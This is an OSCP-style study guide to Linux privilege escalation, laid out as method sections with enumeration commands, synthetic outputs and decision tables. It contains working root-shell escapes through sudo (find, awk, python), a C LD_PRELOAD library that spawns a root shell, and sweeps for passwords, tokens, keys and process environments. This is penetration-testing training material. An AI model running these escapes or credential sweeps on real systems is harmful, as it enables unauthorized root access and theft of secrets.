OSCP Reference

5.1 Escalate privileges on Linux

Strategy map | Master Notes | Operational index | Cheatsheets

For each candidate prove controlled object → effective permission → privileged consumer → execution identity → trigger → effect. Enumeration tools suggest candidates; they do not establish that chain.

Speedrun blocks: 8. Documented methods: 16.

Examples are hypothetical study material. Apply commands only to an assigned scope during the later practice phase. A method is enabled by its prerequisites; its presence here does not establish a vulnerability or practical mastery.

5.1.1 First pass: tools and findings

Use the branch matching the current host, identity and observed result. Tool output supplies leads; the linked procedure verifies and uses the exact condition.

5.1.1.1 Identify the session, then run LinPEAS early

After checking id, architecture and shell availability, transfer a trusted reviewed LinPEAS copy using the transfer procedure. The sh invocation does not need an executable bit. Save output; use the local -h before selecting optional flags.

id
uname -m
command -v bash python3
ls -ld /tmp
sh ./linpeas.sh | tee linpeas.txt

5.1.1.2 Check sudo rules against the actual binary

Use only the operation permitted by the entire rule. Select the matching GTFOBins mode/build instead of trying every example.

sudo -n -l 2>&1
sudo -l

5.1.1.3 Catch short-lived root jobs with pspy

Use a reviewed binary matching the target architecture; keep it running long enough to observe the suspected schedule. Stop after collecting the needed events.

./pspy64

5.1.1.4 Test SUID/capability findings manually

Use native discovery alongside the tool output; a flagged executable is only useful if it retains a relevant privilege.

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
findmnt -T /PATH/TO/BINARY

5.1.2 Discovery workflow

Start with a low-privileged Linux command channel. No sudo rule, writable privileged script or usable SUID binary is assumed.

Follow these observations into a method; the detailed recognition routes below show synthetic output and the checks still needed.

  1. Establish effective IDs/groups, mounts, processes and exact sudo rules: Establish Linux state and choose an escalation candidate.
  2. Follow readable application/history/process artifacts into typed credentials: Recover credentials from Linux user, service and process trails.
  3. Inspect sudo/SUID/capabilities and prove effective object/parent permissions: Use an allowed sudo operation to cross a privilege boundary; Use a SUID or SGID program's exposed privileged primitive; Use a file capability that enables a specific privileged operation; Prove effective file, directory, ACL and mount control.
  4. Identify each job/service's real identity, consumed path and trigger; only then examine resolution abuse: Control a script, binary or configuration consumed by a privileged job/service; Hijack an unqualified helper through controlled PATH resolution; Turn wildcard-expanded filenames into privileged command options; Control a privileged program's shared-library resolution.
  5. Investigate daemon/mount/software candidates against their exact conditions: Use privileged group, daemon or container-management control; Exploit a permission-backed mount, NFS mapping or local service; Select an evidence-matched Linux software or kernel exploit.

Decision rule: an observed clue opens a candidate. Choose it only after the missing conditions are verified; a failed check rules out that context, while unavailable evidence stays inconclusive.

5.1.3 Method families

5.1.4 Choose a method

MethodRecognition clueRequired accessEnabling conditionsResulting capability
Establish Linux state and choose an escalation candidateA new Linux foothold or an identity/privilege changeA verified Linux foothold with a known effective UID, groups and filesystem contextA working command channel and accurate effective identity, group, mount and process contextAn evidence-ranked escalation queue and a verified current privilege state
Prove effective file, directory, ACL and mount controlA root-consumed file or directory appears writableA verified Linux foothold with a known effective UID, groups and filesystem contextEffective access through every parent/ACL and mount; a privileged consumer and trigger are identified separatelyA validated controlled object suitable for a specific execution or credential chain
Recover credentials from Linux user, service and process trailsReadable configuration, shell history, environment, process arguments or session socketsA verified Linux foothold with a known effective UID, groups and filesystem contextRead access to the artifact; exact account/service context; session/agent access must include a usable live identityTyped credentials or an explicitly authorized usable session capability
Use an allowed sudo operation to cross a privilege boundarysudo -l grants an operation under a more useful identityA verified Linux foothold with a known effective UID, groups and filesystem contextExact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate itA verified privileged command, file operation or identity transition
Load a controlled library through a permitted sudo environmentA sudo rule explicitly preserves or permits a loader variableA verified Linux foothold with a known effective UID, groups and filesystem contextAllowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors itVerified privileged library initialization under the permitted run-as identity
Use a SUID or SGID program's exposed privileged primitiveA nonstandard or dangerous privileged executableA verified Linux foothold with a known effective UID, groups and filesystem contextEffective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilegeA verified privileged file operation or effective UID/GID transition
Use a file capability that enables a specific privileged operationAn interpreter/helper has an effective high-value capabilityA verified Linux foothold with a known effective UID, groups and filesystem contextThe exact capability is effective in the execution context; mount/namespace/bounding-set restrictions permit its useThe specific privileged operation or identity transition enabled by that capability
Control a script, binary or configuration consumed by a privileged job/serviceRoot-owned cron, systemd or recurring process activity uses a controllable objectA verified Linux foothold with a known effective UID, groups and filesystem contextEffective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart triggerVerified execution or a useful file operation under the job/service identity
Hijack an unqualified helper through controlled PATH resolutionA privileged program/job invokes a helper without an absolute pathA verified Linux foothold with a known effective UID, groups and filesystem contextA controlled directory precedes the real helper in the consumer's effective PATH; execution preserves useful privilege and a trigger existsVerified execution of the chosen helper under the consumer identity
Turn wildcard-expanded filenames into privileged command optionsA privileged job passes an uncontrolled directory glob to an option-parsing utilityA verified Linux foothold with a known effective UID, groups and filesystem contextControl of expanded filenames; compatible option parsing and argument placement; useful program feature and privileged triggerA verified unintended privileged utility operation
Control a privileged program's shared-library resolutionA privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin pathA verified Linux foothold with a known effective UID, groups and filesystem contextActual privileged load from a controlled location, matching ABI/name and required symbols, plus a triggerVerified privileged initialization or behavior of a controlled shared object
Change a writable account or privilege-policy fileAccount metadata or a privilege-policy file appears writableA verified Linux foothold with a known effective UID, groups and filesystem contextEffective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the originalA verified account or policy-backed privilege transition
Use privileged group, daemon or container-management controlMembership or socket ACLs permit controlling a rootful daemon or useful sessionA verified Linux foothold with a known effective UID, groups and filesystem contextEffective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operationA verified privileged daemon operation or host-relevant access
Exploit a permission-backed mount, NFS mapping or local serviceA writable/exported filesystem or a loopback-only service with useful privilegesA verified Linux foothold with a known effective UID, groups and filesystem contextRelevant export/mount options or service authentication; effective identity, writable path and any privileged execution consumerA useful file/credential operation or verified local service access
Select an evidence-matched Linux software or kernel exploitPermission/credential paths are insufficient and an exact affected build/configuration is presentA verified Linux foothold with a known effective UID, groups and filesystem contextVulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditionsA justified local exploit test and independently verified privilege result
Use enumeration tools to generate manually testable candidatesA Linux foothold is available; run an early sweep for sudo rules, file capabilities, credentials and writable privileged pathsA verified Linux foothold with a known effective UID, groups and filesystem contextVerified target UID and architecture, a working shell/runtime, a reviewed transferred tool and a writable report locationCandidate permissions, credentials and consumers for manual validation

5.1.5 Establish Linux state and choose an escalation candidate

Blocks: 8. Operational procedure | Operational procedure | Quick sheet

5.1.5.1 Purpose and result

An evidence-ranked escalation queue and a verified current privilege state.

5.1.5.2 Recognition clues

A new Linux foothold or an identity/privilege change.

5.1.5.2.1 Find the clue from your starting access

Where to investigate: At a new shell collect effective IDs/groups, current mounts, root-owned activity and exact sudo rules before choosing a technique.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: A working command channel and accurate effective identity, group, mount and process context

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Record effective UID/groups, host/namespace and the exact candidate permission; re-check identity after every claimed escalation.

Failure/next check: Missing tools or permission-denied inventory is partial visibility. Use built-ins and inspect concrete application paths rather than claiming no escalation path exists.

id
findmnt
ps auxww
sudo -l

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

uid=USER_ID(APP_USER) groups=APP_GROUP
(root) NOPASSWD: /usr/bin/find
root ... /bin/sh /OPT_PATH/backup.sh

Recognize this detail: The sudo rule and privileged backup consumer open different candidate families; neither should be replaced by an automatic kernel choice.

Still missing before method selection: For each candidate establish exact permitted operation/object, run-as identity and trigger.

Outcome after checkingExample and next decision
Enabled after validationA candidate's complete permission/consumer chain is validated: choose that specific method.
Ruled out in this contextA highlighted process belongs to the same low user: reject its assumed privilege gain.
InconclusivePermission-denied inventory is incomplete visibility; use known application paths and supported built-ins.

If you do not yet have this clue: start with Verify command execution, host and represented identity.

5.1.5.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: A working command channel and accurate effective identity, group, mount and process context.

5.1.5.4 Discover and verify prerequisites

hostname
id
uname -a
cat /etc/os-release
findmnt
sudo -l

5.1.5.5 Why it works

Privileges belong to effective identity and execution context, not a username string. A container root UID can differ from host root; a new identity changes readable files and available controls.

5.1.5.6 Execute and choose variants

Decisive output: current identity/groups, OS/kernel/architecture, network position, root-owned activity, mounts and exact sudo rules.

hostname; id; groups
uname -a; cat /etc/os-release; getconf LONG_BIT
pwd; umask; env
ip addr; ip route; ss -lntup; ss -lxnp
ps auxf
mount; findmnt; lsblk; df -hT
sudo -n -l 2>&1
sudo -l
getent passwd
awk -F: '$3 == 0 || $7 !~ /(nologin|false)$/ {print $1,$3,$4,$6,$7}' /etc/passwd

Priority: credentials/sudo → root-consumed writable objects → SUID/capabilities → privileged groups/mounts/local services → PATH/libraries/wildcards → software/kernel.

id; whoami; groups
hostname; pwd
ip addr; ip route

After root, re-enumerate newly readable credentials, services, listeners, mounts and routes. Capture the exact command, decisive output and state transition required by the objective; keep target details and proof material private.

5.1.5.7 Worked example — hypothetical

Observation: a shell runs as an application account. Test: collect identity, sudo rules and root-owned activity. Illustrative output: one permitted interpreter and a writable backup directory. Interpretation: validate those specific consumers before selecting a kernel exploit.

5.1.5.8 Verify the result

Record effective UID/groups, host/namespace and the exact candidate permission; re-check identity after every claimed escalation.

5.1.5.9 Failure and fallback

Missing tools or permission-denied inventory is partial visibility. Use built-ins and inspect concrete application paths rather than claiming no escalation path exists.

5.1.5.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A root-consumed file or directory appears writableEffective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately§5.1.6 — Prove effective file, directory, ACL and mount control
sudo -l grants an operation under a more useful identityExact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it§5.1.8 — Use an allowed sudo operation to cross a privilege boundary
Root-owned cron, systemd or recurring process activity uses a controllable objectEffective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger§5.1.12 — Control a script, binary or configuration consumed by a privileged job/service
Membership or socket ACLs permit controlling a rootful daemon or useful sessionEffective daemon/API permission, correct rootful/rootless or privileged mode, available resources and a host-affecting operation§5.1.17 — Use privileged group, daemon or container-management control
Permission/credential paths are insufficient and an exact affected build/configuration is presentVulnerable package/kernel state, architecture, mitigations, namespaces and documented exploit-specific conditions§5.1.19 — Select an evidence-matched Linux software or kernel exploit

5.1.6 Prove effective file, directory, ACL and mount control

Blocks: 8. Operational procedure | Quick sheet

5.1.6.1 Purpose and result

A validated controlled object suitable for a specific execution or credential chain.

5.1.6.2 Recognition clues

A root-consumed file or directory appears writable.

5.1.6.2.1 Find the clue from your starting access

Where to investigate: From a real privileged script/binary/configuration path inspect every parent, ACL and effective mount before assuming control.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Prove the specific read/write/replace action and consumer path; world-writable alone is not the complete escalation chain.

Failure/next check: A read-only/noexec/nosuid mount changes which effects are possible. Find another consumer rather than assuming every permission bypasses mount policy.

namei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

file: root-owned, not directly writable
parent: current group has write+execute
mount: rw

Recognize this detail: Parent replacement can provide a control primitive even when the existing file's write bit is absent.

Still missing before method selection: Run namei -l, stat and getfacl on the exact path and its parents, then findmnt -T for ro/noexec/nosuid. Check the identity and trigger of the process that uses this path; write permission alone is not execution.

Outcome after checkingExample and next decision
Enabled after validationThe precise object can be replaced and is consumed under a higher identity: choose that control path.
Ruled out in this contextParent/file rights do not grant the needed operation: reject that proposed write.
InconclusiveAn ACL listing without effective trustee/mount context leaves control unresolved.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.6.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately.

5.1.6.4 Discover and verify prerequisites

namei -l /PATH/TO/OBJECT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT
findmnt -T /PATH/TO/OBJECT

5.1.6.5 Why it works

Directory write plus traversal can allow replacement without direct file write. ACLs, sticky directories, immutable attributes and mount options can change the effective operation.

5.1.6.6 Execute and choose variants

namei -l /PATH/TO/OBJECT
stat /PATH/TO/OBJECT /PATH/TO/PARENT
getfacl -p /PATH/TO/OBJECT /PATH/TO/PARENT 2>/dev/null
findmnt -T /PATH/TO/OBJECT -o TARGET,SOURCE,FSTYPE,OPTIONS

Directory write+execute can permit replacement even when the file is not writable. ACLs can add/remove effective access. nosuid defeats SUID/SGID and file-capability effects; noexec blocks direct execution; ro blocks changes.

Discover writable objects, then prioritize root-owned configuration, scripts, binaries and parents under /etc, /opt, /usr/local, application paths and service working directories:

find / -xdev -type f -writable -ls 2>/dev/null
find / -xdev -type d -writable -ls 2>/dev/null

5.1.6.7 Worked example — hypothetical

Observation: a service script is read-only but its parent is writable. Test: inspect replacement rights and the service's actual path. Illustrative output: the caller can replace the exact consumed object. Interpretation: the control primitive exists; now verify privileged identity and trigger.

5.1.6.8 Verify the result

Prove the specific read/write/replace action and consumer path; world-writable alone is not the complete escalation chain.

5.1.6.9 Failure and fallback

A read-only/noexec/nosuid mount changes which effects are possible. Find another consumer rather than assuming every permission bypasses mount policy.

5.1.6.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
Root-owned cron, systemd or recurring process activity uses a controllable objectEffective object control, actual privileged consumer identity, correct path/environment and an available schedule/restart trigger§5.1.12 — Control a script, binary or configuration consumed by a privileged job/service
A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin pathActual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger§5.1.15 — Control a privileged program's shared-library resolution
Account metadata or a privilege-policy file appears writableEffective write/replace permission, known file syntax and a useful identity/policy consumer; preserve the original§5.1.16 — Change a writable account or privilege-policy file

5.1.7 Recover credentials from Linux user, service and process trails

Blocks: 8. Operational procedure | Operational procedure | Quick sheet

5.1.7.1 Purpose and result

Typed credentials or an explicitly authorized usable session capability.

5.1.7.2 Recognition clues

Readable configuration, shell history, environment, process arguments or session sockets.

5.1.7.2.1 Find the clue from your starting access

Where to investigate: Follow observed application processes and directories into readable configuration, history and environment; prioritize paths tied to actual services.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Record source, exact material type and validated identity/service; keep real secrets in private lab records.

Failure/next check: Stale examples and unrelated tokens are common. A denied process read is a visibility limit, not evidence that no credentials exist elsewhere.

ps auxww
history
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

Process: APP_SERVICE --config /opt/APP/config.ini
Readable file: /opt/APP/config.ini
Setting: database_user=DB_USER; password=PASSWORD

Recognize this detail: An actual service's readable configuration supplies an identity-labelled secret candidate.

Still missing before method selection: Read the named config/history/process artifact and record the user, service and host it belongs to. Classify a recovered password/key, test one matching service context and verify the accepted identity before trying reuse elsewhere.

Outcome after checkingExample and next decision
Enabled after validationThe secret works in its verified identity/service context: use that access and re-enumerate.
Ruled out in this contextThe value is a stale example and no longer accepted: reject that credential pairing.
InconclusiveA token-like string without service/account context requires provenance work before reuse.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.7.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Read access to the artifact; exact account/service context; session/agent access must include a usable live identity.

5.1.7.4 Discover and verify prerequisites

history
ps auxww
env
find /opt /var/www /srv -maxdepth 3 -type f -readable 2>/dev/null

5.1.7.5 Why it works

Secrets can outlive the operation that created them. Process visibility and readable environment depend on permissions; finding a socket does not prove the right to use the associated session.

5.1.7.6 Execute and choose variants

history 2>/dev/null
find /home /root -maxdepth 3 -type f \
  \( -name '.*history' -o -name '*.conf' -o -name '*.ini' -o -name '*.env' \
     -o -name 'id_*' -o -name '*.pem' -o -name '*.key' -o -name '*.bak' \) \
  -readable 2>/dev/null

grep -RniE 'pass(word)?|secret|token|api[_-]?key|connection(string)?' \
  /var/www /opt /srv /etc 2>/dev/null | head -n 200

Inspect process arguments and readable process environment:

ps auxww
ps eww -u root 2>/dev/null
tr '\0' ' ' < /proc/PID/cmdline 2>/dev/null; echo
tr '\0' '\n' < /proc/PID/environ 2>/dev/null

Check reusable local sessions/agents only when their sockets are accessible:

w; who; last -n 20
env | grep -E 'SSH_AUTH_SOCK|TMUX|STY'
tmux ls 2>/dev/null
screen -ls 2>/dev/null
find /tmp /run -maxdepth 3 -type s -ls 2>/dev/null

An agent, tmux/screen or daemon socket needs effective socket access and a useful authenticated/privileged session. Presence alone is not session hijacking.

Next: identify the value's user/service context, validate the smallest relevant transition (su, sudo, SSH or application authentication), then re-enumerate. Use credential handling for cracking/reuse.

find /home /var/www /opt /srv -type f \
  \( -iname '*.conf' -o -iname '*.ini' -o -iname '*.env' -o -iname '*.bak' \
     -o -iname '*.old' -o -iname '*.key' -o -iname '*.pem' \) 2>/dev/null

rg -ni 'password|passwd|token|secret|api[_-]?key|connection(string)?' \
  /var/www /opt /srv 2>/dev/null

5.1.7.7 Worked example — hypothetical

Observation: a service command line contains a database password. Test: identify its service/account scope and validate the source login. Illustrative output: database access works but the same OS username does not. Interpretation: enumerate database rights instead of assuming universal reuse.

5.1.7.8 Verify the result

Record source, exact material type and validated identity/service; keep real secrets in private lab records.

5.1.7.9 Failure and fallback

Stale examples and unrelated tokens are common. A denied process read is a visibility limit, not evidence that no credentials exist elsewhere.

5.1.7.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A secret-like value, key file, stored hash, challenge response or ticketArtifact provenance and format; possible local/domain/application identity and compatible protocol§3.1.5 — Classify the artifact and its identity context
A password tied to a plausible user and serviceCorrect local/domain/application identity, reachable compatible service, accepted authentication and account state§3.1.6 — Validate known passwords and context-specific reuse
A MySQL-compatible service and valid application/database credentialsDatabase authentication and exact schema/file privileges; secure_file_priv and server filesystem identity constrain file actions§1.2.15 — Use MySQL/MariaDB data and file primitives

5.1.8 Use an allowed sudo operation to cross a privilege boundary

Choose when: sudo -l grants an operation under a more useful identity · Result: A verified privileged command, file operation or identity transition

Blocks: 8. Operational procedure | Quick sheet

5.1.8.1 Purpose and result

A verified privileged command, file operation or identity transition.

5.1.8.2 Recognition clues

sudo -l grants an operation under a more useful identity.

5.1.8.2.1 Find the clue from your starting access

Where to investigate: Run the exact sudo policy query from the current user and read run-as identity, executable, arguments and tags.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify the executed run-as identity and effective UID; preserve the matching rule and successful operation.

Failure/next check: Restricted arguments, another run-as user, privilege dropping, NOEXEC or MAC policy can block the candidate. Evaluate another permitted primitive.

sudo -n -l 2>&1
sudo -l

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

User USER may run:
    (root) NOPASSWD: /usr/bin/find

Recognize this detail: The rule permits that exact program as root; its documented privileged operation becomes a candidate.

Still missing before method selection: Read sudo -l: match the run-as user, exact executable and allowed arguments. Check NOPASSWD/password access and NOEXEC/environment restrictions; choose only the GTFOBins operation that the full rule permits, then verify id.

Outcome after checkingExample and next decision
Enabled after validationThe allowed invocation exposes a useful operation and its effect is verified: choose that sudo method.
Ruled out in this contextOnly a fixed harmless argument pattern is permitted: reject the unrestricted escape assumption.
InconclusiveA password-required response does not show the rule; obtain the legitimate credential/context before deciding.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.8.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Exact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it.

5.1.8.4 Discover and verify prerequisites

sudo -n -l 2>&1
sudo -l

5.1.8.5 Why it works

Sudo grants a configured operation, not arbitrary root by default. Interpreter escapes, editors, file writers and helpers are different useful primitives whose exact invocation must fit the rule.

5.1.8.6 Execute and choose variants

sudo -n -l 2>&1
sudo -l
sudo --version

Record the run-as identity, password tag, executable path, argument constraints/wildcards and SETENV/NOSETENV/env_keep/secure_path/NOEXEC. Match the exact mode under GTFOBins.

sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/awk 'BEGIN {system("/bin/sh")}'
sudo /usr/bin/python3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh","-p")'

Use an example only when the entire rule permits it. Restricted arguments, another path/build, privilege dropping, NOEXEC, a non-root run-as user or MAC policy can invalidate the escape.

5.1.8.6.1 Preserved LD_PRELOAD variant

Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.

sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

Static linking, secure-loader behavior, missing environment permission or MAC denial disproves this route.

5.1.8.7 Worked example — hypothetical

Observation: the rule permits a specific interpreter as root without restricted arguments. Test: compare its documented privileged mode with the full rule and execute a minimal identity proof. Illustrative output: effective UID 0. Interpretation: verify host context and re-enumerate privileged files.

5.1.8.8 Verify the result

Verify the executed run-as identity and effective UID; preserve the matching rule and successful operation.

5.1.8.9 Failure and fallback

Restricted arguments, another run-as user, privilege dropping, NOEXEC or MAC policy can block the candidate. Evaluate another permitted primitive.

5.1.8.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A sudo rule explicitly preserves or permits a loader variableAllowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it§5.1.9 — Load a controlled library through a permitted sudo environment
A new Linux foothold or an identity/privilege changeA working command channel and accurate effective identity, group, mount and process context§5.1.5 — Establish Linux state and choose an escalation candidate
Readable configuration, shell history, environment, process arguments or session socketsRead access to the artifact; exact account/service context; session/agent access must include a usable live identity§5.1.7 — Recover credentials from Linux user, service and process trails

5.1.9 Load a controlled library through a permitted sudo environment

Choose when: A sudo rule explicitly preserves or permits a loader variable · Result: Verified privileged library initialization under the permitted run-as identity

Blocks: 8. Operational procedure | Quick sheet

5.1.9.1 Purpose and result

Verified privileged library initialization under the permitted run-as identity.

5.1.9.2 Recognition clues

A sudo rule explicitly preserves or permits a loader variable.

5.1.9.2.1 Find the clue from your starting access

Where to investigate: Inspect sudo's environment-related tags/defaults and the exact allowed executable's dynamic-linking evidence.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Require the library's actual effect and effective identity; a successful compile alone proves nothing about the loader.

Failure/next check: Static linking, environment sanitization, secure-execution handling and policy denial break this route.

sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

env_keep includes LD_PRELOAD, or applicable SETENV
Allowed program: dynamically linked
Run-as: root

Recognize this detail: Explicit environment permission plus a compatible dynamic consumer suggests a loader-injection candidate.

Still missing before method selection: Confirm SETENV or explicit LD_PRELOAD preservation in sudo -l and a dynamically linked allowed program. Use only the permitted environment form; inspect the resulting id rather than assuming the shared library ran as root.

Outcome after checkingExample and next decision
Enabled after validationThe permitted loader consumes the chosen library and its effect runs under the expected identity: select this route.
Ruled out in this contextThe binary is static or the variable is sanitized: reject this preload chain.
InconclusiveSETENV alone without compatible consumer/loader evidence leaves the route incomplete.

If you do not yet have this clue: start with Use an allowed sudo operation to cross a privilege boundary.

5.1.9.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Allowed variable setting/preservation, a dynamically linked permitted executable and a loader path that honors it.

5.1.9.4 Discover and verify prerequisites

sudo -l
file /ALLOWED/PROGRAM
readelf -l /ALLOWED/PROGRAM

5.1.9.5 Why it works

LD_PRELOAD inserts a library before normal symbol resolution only when the privileged execution path preserves and honors it. Merely setting the variable in an ordinary shell does not satisfy sudo or secure-loader policy.

5.1.9.6 Execute and choose variants

5.1.9.6.1 Preserved LD_PRELOAD variant

Requires an explicitly allowed/preserved variable and a dynamically linked allowed program.

sudo -l | grep -E 'SETENV|env_keep.*LD_PRELOAD'
#include <stdlib.h>
#include <unistd.h>
void _init(void) {
  unsetenv("LD_PRELOAD");
  setgid(0); setuid(0);
  system("/bin/sh");
}
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so /ALLOWED/PROGRAM

Static linking, secure-loader behavior, missing environment permission or MAC denial disproves this route.

5.1.9.7 Worked example — hypothetical

Observation: the rule permits a loader variable for one dynamic program. Test: inspect the exact rule and executable before using the controlled library. Illustrative output: the library's identity proof runs as the run-as user. Interpretation: the loader transition is verified.

5.1.9.8 Verify the result

Require the library's actual effect and effective identity; a successful compile alone proves nothing about the loader.

5.1.9.9 Failure and fallback

Static linking, environment sanitization, secure-execution handling and policy denial break this route.

5.1.9.10 Continue from the interpreted result

Observed resultCheck before proceedingNext numbered section
A new Linux foothold or an identity/privilege changeA working command channel and accurate effective identity, group, mount and process context§5.1.5 — Establish Linux state and choose an escalation candidate
sudo -l grants an operation under a more useful identityExact executable/run-as/argument rule permits a useful primitive; password tags, environment and policy do not invalidate it§5.1.8 — Use an allowed sudo operation to cross a privilege boundary
A privileged executable has an unsafe library dependency, RPATH/RUNPATH or plugin pathActual privileged load from a controlled location, matching ABI/name and required symbols, plus a trigger§5.1.15 — Control a privileged program's shared-library resolution

5.1.10 Use a SUID or SGID program's exposed privileged primitive

Choose when: A nonstandard or dangerous privileged executable · Result: A verified privileged file operation or effective UID/GID transition

Blocks: 8. Operational procedure | Quick sheet

5.1.10.1 Purpose and result

A verified privileged file operation or effective UID/GID transition.

5.1.10.2 Recognition clues

A nonstandard or dangerous privileged executable.

5.1.10.2.1 Find the clue from your starting access

Where to investigate: Inventory privileged-mode files, then focus on custom/nonstandard programs and inspect ownership, mount and documented behavior.

Discovery action — reference example:

Access/context: A verified Linux foothold with a known effective UID, groups and filesystem context

Conditions, effects and verification

Requires: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege

Action class: Includes enumeration and permission-backed privileged execution; distinguish the selected step.

Stop/verify: Verify effective IDs and the exact privileged operation; a real UID or prompt label alone is insufficient.

Failure/next check: nosuid, privilege dropping, fixed arguments or MAC policy can invalidate a candidate. Distinguish a file-read primitive from arbitrary execution.

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
file /PATH/TO/BINARY

Illustrative evidence — synthetic, abbreviated:

The excerpt may combine command fields with labelled observations from the preceding investigation; it is not a real-target transcript or a promise of exact tool formatting.

-rwsr-xr-x root root /opt/APP/custom-helper
-rwxr-sr-x root GROUP /PATH/TO/SGID_HELPER

Recognize this detail: The s bits identify an execution credential mechanism; nonstandard behavior warrants inspection but is not a vulnerability itself.

Still missing before method selection: Run stat on the flagged executable and findmnt -T on its path. Check the SUID owner, nosuid and exact binary behavior; after a permitted operation run id to see whether the elevated effective UID was retained.

Outcome after checkingExample and next decision
Enabled after validationThe program exposes a permitted privileged read/write/exec operation: choose that exact mode.
Ruled out in this contextIt drops privilege before the controllable operation or runs on nosuid: reject that assumed transition.
InconclusiveOnly the SUID listing is known: inspect its actual behavior and constraints before choosing an escape.

If you do not yet have this clue: start with Establish Linux state and choose an escalation candidate.

5.1.10.3 Prerequisites

Starting access: A verified Linux foothold with a known effective UID, groups and filesystem context. Required conditions: Effective SUID/SGID on the relevant mount; a program operation preserves and exposes useful privilege.

5.1.10.4 Discover and verify prerequisites

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
findmnt -T /PATH/TO/BINARY

5.1.10.5 Why it works

The mode bit changes execution credentials, but programs may drop them or constrain operations. A stock SUID listing is not a vulnerability; identify the exact program behavior.

5.1.10.6 Execute and choose variants

find / -xdev -type f -perm -4000 -ls 2>/dev/null
find / -xdev -type f -perm -2000 -ls 2>/dev/null
getcap -r / 2>/dev/null

Rank nonstandard/custom paths, unexpected versions, writable binaries/parents and dangerous interpreters. Inspect one candidate:

namei -l /PATH/TO/BINARY
stat /PATH/TO/BINARY
file /PATH/TO/BINARY
readelf -d /PATH/TO/BINARY 2>/dev/null | grep -E 'RPATH|RUNPATH|NEEDED'
